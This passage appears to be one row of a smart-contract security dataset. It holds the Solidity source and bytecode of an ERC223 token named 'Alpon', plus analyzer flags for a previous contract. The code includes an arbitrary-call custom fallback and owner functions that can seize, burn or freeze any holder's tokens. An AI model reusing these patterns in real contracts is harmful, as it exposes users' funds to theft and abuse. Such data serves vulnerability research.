f1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a150505050565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015615b5a57600080fd5b505af4158015615b6e573d6000803e3d6000fd5b505050506040513d6020811015615b8457600080fd5b81019080805190602001909291905050501515615ba057600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015615c5457600080fd5b505af4158015615c68573d6000803e3d6000fd5b505050506040513d6020811015615c7e57600080fd5b8101908080519060200190929190505050601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e5473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015615d4957600080fd5b505af4158015615d5d573d6000803e3d6000fd5b505050506040513d6020811015615d7357600080fd5b8101908080519060200190929190505050600e819055505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10615dcf57805160ff1916838001178555615dfd565b82800160010185558215615dfd579182015b82811115615dfc578251825591602001919060010190615de1565b5b509050615e0a9190615e0e565b5090565b615e3091905b80821115615e2c576000816000905550600101615e14565b5090565b905600a165627a7a72305820418fa3474c79758168cee0d03b2ef4acc9cc7ff674b50bedd1a40b03a36929150029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,977 |
0x4aff7f37696ce3bb0dbe10dd63bae8dc9f634623
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/**
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title Alpon
* @author Alpon
* @dev Alpon is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract Alpon is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Alpon";
string public symbol = "APN";
uint8 public decimals = 8;
uint256 public initialSupply = 10e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function Alpon() public {
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount.
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610181578063095ea7b31461020b57806318160ddd1461022d57806323b872dd14610252578063313ce5671461027a578063378dc3dc146102a357806340c10f19146102b65780634f25eced146102d857806364ddc605146102eb57806370a082311461037a5780637d64bcb4146103995780638da5cb5b146103ac57806394594625146103db57806395d89b411461042c5780639dc29fac1461043f578063a8f11eb914610150578063a9059cbb14610461578063b414d4b614610483578063be45fd62146104a2578063c341b9f614610507578063cbbe974b1461055a578063d39b1d4814610579578063dd62ed3e1461058f578063dd924594146105b4578063f0dc417114610643578063f2fde38b146106d2578063f6368f8a146106f1575b610158610798565b005b341561016557600080fd5b61016d61090d565b604051901515815260200160405180910390f35b341561018c57600080fd5b610194610916565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d05780820151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021657600080fd5b61016d600160a060020a03600435166024356109be565b341561023857600080fd5b610240610a2a565b60405190815260200160405180910390f35b341561025d57600080fd5b61016d600160a060020a0360043581169060243516604435610a30565b341561028557600080fd5b61028d610c3f565b60405160ff909116815260200160405180910390f35b34156102ae57600080fd5b610240610c48565b34156102c157600080fd5b61016d600160a060020a0360043516602435610c4e565b34156102e357600080fd5b610240610d50565b34156102f657600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d5695505050505050565b341561038557600080fd5b610240600160a060020a0360043516610eb0565b34156103a457600080fd5b61016d610ecb565b34156103b757600080fd5b6103bf610f38565b604051600160a060020a03909116815260200160405180910390f35b34156103e657600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f4792505050565b341561043757600080fd5b6101946111d5565b341561044a57600080fd5b610158600160a060020a0360043516602435611248565b341561046c57600080fd5b61016d600160a060020a0360043516602435611330565b341561048e57600080fd5b61016d600160a060020a036004351661140b565b34156104ad57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061142095505050505050565b341561051257600080fd5b61015860046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114eb9050565b341561056557600080fd5b610240600160a060020a03600435166115ed565b341561058457600080fd5b6101586004356115ff565b341561059a57600080fd5b610240600160a060020a036004358116906024351661161f565b34156105bf57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061164a95505050505050565b341561064e57600080fd5b61016d6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118fc95505050505050565b34156106dd57600080fd5b610158600160a060020a0360043516611bca565b34156106fc57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c6595505050505050565b60006007541180156107c65750600754600154600160a060020a031660009081526009602052604090205410155b80156107eb5750600160a060020a0333166000908152600b602052604090205460ff16155b801561080e5750600160a060020a0333166000908152600c602052604090205442115b151561081957600080fd5b600034111561085657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561085657600080fd5b600754600154600160a060020a03166000908152600960205260409020546108839163ffffffff611fbd16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108c19163ffffffff611fcf16565b600160a060020a033381166000818152600960205260409081902093909355600154600754919392169160008051602061240a83398151915291905190815260200160405180910390a3565b60085460ff1681565b61091e6123f7565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b820191906000526020600020905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065490565b6000600160a060020a03831615801590610a4a5750600082115b8015610a6f5750600160a060020a038416600090815260096020526040902054829010155b8015610aa25750600160a060020a038085166000908152600a602090815260408083203390941683529290522054829010155b8015610ac75750600160a060020a0384166000908152600b602052604090205460ff16155b8015610aec5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b0f5750600160a060020a0384166000908152600c602052604090205442115b8015610b325750600160a060020a0383166000908152600c602052604090205442115b1515610b3d57600080fd5b600160a060020a038416600090815260096020526040902054610b66908363ffffffff611fbd16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610b9b908363ffffffff611fcf16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610be3908363ffffffff611fbd16565b600160a060020a038086166000818152600a60209081526040808320338616845290915290819020939093559085169160008051602061240a8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c6c57600080fd5b60085460ff1615610c7c57600080fd5b60008211610c8957600080fd5b600654610c9c908363ffffffff611fcf16565b600655600160a060020a038316600090815260096020526040902054610cc8908363ffffffff611fcf16565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a038316600060008051602061240a8339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d7457600080fd5b60008351118015610d86575081518351145b1515610d9157600080fd5b5060005b8251811015610eab57818181518110610daa57fe5b90602001906020020151600c6000858481518110610dc457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610df257600080fd5b818181518110610dfe57fe5b90602001906020020151600c6000858481518110610e1857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e4857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e8857fe5b9060200190602002015160405190815260200160405180910390a2600101610d95565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610ee957600080fd5b60085460ff1615610ef957600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f5c575060008551115b8015610f815750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fa45750600160a060020a0333166000908152600c602052604090205442115b1515610faf57600080fd5b610fc3846305f5e10063ffffffff611fde16565b9350610fd78551859063ffffffff611fde16565b600160a060020a0333166000908152600960205260409020549092508290101561100057600080fd5b5060005b84518110156111885784818151811061101957fe5b90602001906020020151600160a060020a03161580159061106e5750600b600086838151811061104557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110b35750600c600086838151811061108557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110be57600080fd5b61110284600960008885815181106110d257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fcf16565b6009600087848151811061111257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061114257fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3600101611004565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fbd16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b6111dd6123f7565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b60015433600160a060020a0390811691161461126357600080fd5b60008111801561128c5750600160a060020a038216600090815260096020526040902054819010155b151561129757600080fd5b600160a060020a0382166000908152600960205260409020546112c0908263ffffffff611fbd16565b600160a060020a0383166000908152600960205260409020556006546112ec908263ffffffff611fbd16565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061133a6123f7565b6000831180156113635750600160a060020a0333166000908152600b602052604090205460ff16155b80156113885750600160a060020a0384166000908152600b602052604090205460ff16155b80156113ab5750600160a060020a0333166000908152600c602052604090205442115b80156113ce5750600160a060020a0384166000908152600c602052604090205442115b15156113d957600080fd5b6113e284612009565b156113f9576113f2848483612011565b9150611404565b6113f2848483612274565b5092915050565b600b6020526000908152604090205460ff1681565b6000808311801561144a5750600160a060020a0333166000908152600b602052604090205460ff16155b801561146f5750600160a060020a0384166000908152600b602052604090205460ff16155b80156114925750600160a060020a0333166000908152600c602052604090205442115b80156114b55750600160a060020a0384166000908152600c602052604090205442115b15156114c057600080fd5b6114c984612009565b156114e0576114d9848484612011565b9050610c38565b6114d9848484612274565b60015460009033600160a060020a0390811691161461150957600080fd5b600083511161151757600080fd5b5060005b8251811015610eab5782818151811061153057fe5b90602001906020020151600160a060020a0316151561154e57600080fd5b81600b600085848151811061155f57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061159d57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161151b565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461161a57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611660575083518551145b80156116855750600160a060020a0333166000908152600b602052604090205460ff16155b80156116a85750600160a060020a0333166000908152600c602052604090205442115b15156116b357600080fd5b5060009050805b84518110156118055760008482815181106116d157fe5b9060200190602002015111801561170557508481815181106116ef57fe5b90602001906020020151600160a060020a031615155b80156117455750600b600086838151811061171c57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561178a5750600c600086838151811061175c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561179557600080fd5b6117bf6305f5e1008583815181106117a957fe5b906020019060200201519063ffffffff611fde16565b8482815181106117cb57fe5b602090810290910101526117fb8482815181106117e457fe5b90602001906020020151839063ffffffff611fcf16565b91506001016116ba565b600160a060020a0333166000908152600960205260409020548290101561182b57600080fd5b5060005b84518110156111885761186184828151811061184757fe5b90602001906020020151600960008885815181106110d257fe5b6009600087848151811061187157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106118a157fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528684815181106118d957fe5b9060200190602002015160405190815260200160405180910390a360010161182f565b6001546000908190819033600160a060020a0390811691161461191e57600080fd5b60008551118015611930575083518551145b151561193b57600080fd5b5060009050805b8451811015611ba157600084828151811061195957fe5b9060200190602002015111801561198d575084818151811061197757fe5b90602001906020020151600160a060020a031615155b80156119cd5750600b60008683815181106119a457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015611a125750600c60008683815181106119e457fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a1d57600080fd5b611a316305f5e1008583815181106117a957fe5b848281518110611a3d57fe5b60209081029091010152838181518110611a5357fe5b9060200190602002015160096000878481518110611a6d57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a9c57600080fd5b611af5848281518110611aab57fe5b9060200190602002015160096000888581518110611ac557fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fbd16565b60096000878481518110611b0557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b388482815181106117e457fe5b915033600160a060020a0316858281518110611b5057fe5b90602001906020020151600160a060020a031660008051602061240a833981519152868481518110611b7e57fe5b9060200190602002015160405190815260200160405180910390a3600101611942565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fcf16565b60015433600160a060020a03908116911614611be557600080fd5b600160a060020a0381161515611bfa57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c8f5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611cb45750600160a060020a0385166000908152600b602052604090205460ff16155b8015611cd75750600160a060020a0333166000908152600c602052604090205442115b8015611cfa5750600160a060020a0385166000908152600c602052604090205442115b1515611d0557600080fd5b611d0e85612009565b15611fa757600160a060020a03331660009081526009602052604090205484901015611d3957600080fd5b600160a060020a033316600090815260096020526040902054611d62908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611d97908563ffffffff611fcf16565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b60208310611de55780518252601f199092019160209182019101611dc6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e76578082015183820152602001611e5e565b50505050905090810190601f168015611ea35780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ec757fe5b826040518082805190602001908083835b60208310611ef75780518252601f199092019160209182019101611ed8565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001611fb5565b611fb2858585612274565b90505b949350505050565b600082821115611fc957fe5b50900390565b600082820183811015610c3857fe5b600080831515611ff15760009150611404565b5082820282848281151561200157fe5b0414610c3857fe5b6000903b1190565b600160a060020a03331660009081526009602052604081205481908490101561203957600080fd5b600160a060020a033316600090815260096020526040902054612062908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612097908563ffffffff611fcf16565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612130578082015183820152602001612118565b50505050905090810190601f16801561215d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561217d57600080fd5b6102c65a03f1151561218e57600080fd5b505050826040518082805190602001908083835b602083106121c15780518252601f1990920191602091820191016121a2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600960205260408120548390101561229a57600080fd5b600160a060020a0333166000908152600960205260409020546122c3908463ffffffff611fbd16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546122f8908463ffffffff611fcf16565b600160a060020a038516600090815260096020526040908190209190915582905180828051906020019080838